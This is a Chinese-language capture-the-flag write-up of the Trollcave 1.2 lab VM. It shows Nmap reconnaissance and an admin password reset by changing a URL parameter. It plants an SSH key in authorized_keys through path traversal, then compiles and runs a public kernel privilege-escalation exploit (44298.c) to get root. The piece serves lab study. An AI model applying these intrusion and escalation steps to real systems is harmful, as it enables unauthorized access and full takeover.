关于

  • 下载地址:点我
  • Flag:root/flag.txt
  • 哔哩哔哩:视频

信息收集

  1. 不知道VM虚拟机怎么啦,导入镜像后,用Nmap扫了,发现不了主机。所以这次用了VBox。
  2. vboxnet0的IP为192.168.56.130,Nmap扫192.168.56.1/24,发现虚拟机IP为192.168.56.102

  1. nmap -T4 -A 192.168.56.102
  2. Starting Nmap 7.01 ( https://nmap.org ) at 2018-07-16 22:38 CST
  3. Nmap scan report for 192.168.56.102
  4. Host is up (0.00041s latency).
  5. Not shown: 998 filtered ports
  6. PORT STATE SERVICE VERSION
  7. 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
  8. | ssh-hostkey:
  9. | 2048 4b:ab:d7:2e:58:74:aa:86:28:dd:98:77:2f:53:d9:73 (RSA)
  10. |_ 256 57:5e:f4:77:b3:94:91:7e:9c:55:26:30:43:64:b1:72 (ECDSA)
  11. 80/tcp open http nginx 1.10.3 (Ubuntu)
  12. | http-robots.txt: 1 disallowed entry
  13. |_/
  14. |_http-server-header: nginx/1.10.3 (Ubuntu)
  15. |_http-title: Trollcave
  16. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  17. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  18. Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds
  1. 发现开了ssh和http就没了。先去看Web的。通过插件看到好像是一个ruby-on-rails框架写的,然后有几篇文章讲关于这个网站的,翻译一下就能知道其中有讲到密码找回的,是新注册的用户才可以的。旁边还有显示在线的用户和新注册的用户。
  2. 随便点开一个用户的主页发现URL是从1~17的数字,17又是新注册的,所以我们猜想1就是管理员用户。
  3. 现在尝试去找回密码,通过Google可以找到这个框架的找回密码的在password_reset后面加new的。详细的可以点这里看一下。
  4. 打开http://192.168.56.102/password_resets/new输入管理员用户King发现不行,因为在上面说了,新注册的用户才可以找回密码。再输入xer这个新注册的用户。
  5. 然后有一段提示:Reset email sent. http://192.168.56.102/password_resets/edit.Ec80xGP57IiFEzBpAtx4AQ?name=xer把name的参数改成管理员用户King,发现可以改掉管理员的密码,改了之后登录管理员看看。
  6. 有可以上传文件的http://192.168.56.102/user_files还有可以开启上传文件的选项。
  7. 这里还有服务器的物理路径/var/www/trollcave/public/uploads/King/crown.png
  8. 这个框架会新建一个rails的用户给Web服务。所以我们打算上传一个shh的公钥,这样就可以直接用ssh连接服务器了。就是上传到../../../../../../home/rails/.ssh/authorized_keys,然后ssh rails@192.168.56.102连上。

提权

  1. 老套路python -c 'import pty;pty.spawn("/bin/bash")'获取交互终端。
  2. lsb_release -a查看系统的发行版本,准备exp
  1. rails@trollcave:~$ lsb_release -a
  2. No LSB modules are available.
  3. Distributor ID: Ubuntu
  4. Description: Ubuntu 16.04.4 LTS
  5. Release: 16.04
  6. Codename: xenial
  7. rails@trollcave:~$
  8. rails@trollcave:~$ uname -a
  9. Linux trollcave 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  1. 搜搜exp:searchsploit 4.4.0-116,编译上传到目标主机。
  1. ----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
  2. Exploit Title | Path
  3. | (/opt/exploit-database/)
  4. ----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
  5. Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c
  6. ----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
  7. Shellcodes: No Result
  8. Papers: No Result
  9. cp /opt/exploit-database/exploits/linux/local/44298.c exp.c
  10. gcc exp.c
  11. scp a.out rails@192.168.56.102:a.out
  1. 加权限执行,拿到root权限,完事!
  1. rails@trollcave:~$ ls
  2. rails@trollcave:~$ pwd
  3. /home/rails
  4. rails@trollcave:~$ ls
  5. a.out
  6. rails@trollcave:~$ chmod +x a.out
  7. rails@trollcave:~$ ./a.out
  8. task_struct = ffff880027d29e00
  9. uidptr = ffff88002ac26844
  10. spawning root shell
  11. root@trollcave:~#
  12. root@trollcave:/root# cat flag.txt
  13. et tu, dragon?
  14. c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5
  15. root@trollcave:/root#

[Write-up]-Trollcave: 1.2的更多相关文章

  1. trollcave解题

    这是第一次完整地进行模拟渗透,前前后后一共花了一天时间,花了点时间写了个writeup. 博主是个菜鸡,如果有大神看到,请轻喷...... writeup下载:https://hrbeueducn-m ...

随机推荐

  1. bugku 你必须让他停下

    首先打开链接会发现一个不断刷新的网页 然后使用抓包工具burpsuit抓网页 然后右键点击跳转到repeater 然后点击go一直点击 注意黄色区域的变化然后在点击过程中会发现flag 然后拿到答案

  2. lightoj 1408 概率dp

    https://blog.csdn.net/moon_sky1999/article/details/98097470 博主在此,牛逼神犇 #include<bits/stdc++.h> ...

  3. 吴裕雄 python 机器学习——伯努利贝叶斯BernoulliNB模型

    import numpy as np import matplotlib.pyplot as plt from sklearn import datasets,naive_bayes from skl ...

  4. yii2 components

    components顾名思义就是组件的意思,yii默认会根据 components 数组里面的键值去 vendor\yiisoft\yii2\web 里面查找这个键值得类,如果没有找到,再根据这个键值 ...

  5. eclipse中怎么导入git库下载下来的web项目

    总的看来是有两种方式: 方式一:可以对已经从版本库下载到本地的项目操作(Maven导入) 你可以通过公司提供的内部的版本库的网址登录版本库,之后在里面下载自己想要的那个版本的代码包,见下图 点击右侧的 ...

  6. UseIIS

    asp.net core webapi的program.cs 文件中,要加上 使用IIS进程内,可以大幅提高处理速度

  7. Hadoop架构: HDFS中数据块的状态及其切换过程,GS与BGS

    该系列总览: Hadoop3.1.1架构体系——设计原理阐述与Client源码图文详解 : 总览 首先,我们要提出HDFS存储特点: 1.高容错 2.一个文件被切成块(新版本默认128MB一个块)在不 ...

  8. 4、maven——构建生命周期

    什么是生命周期? 构建生命周期是一组阶段的序列(sequence of phase),每个阶段定义了目标被执行的顺序,这里的阶段就是生命周期的一部分. 一个典型的Maven生命周期由一些几个阶段的序列 ...

  9. java.lang.String和java.util.NClob互相转换

    //NClob或Clob转String类型 public String clob2Str(NClob nclob) throws Exception { String content = " ...

  10. 【C语言】找出1000以内所有的素数

    #include<stdio.h> int main() { int i, j, t; ; i <= ; i++) { ; ; j < i; j++) { ) { t = ; ...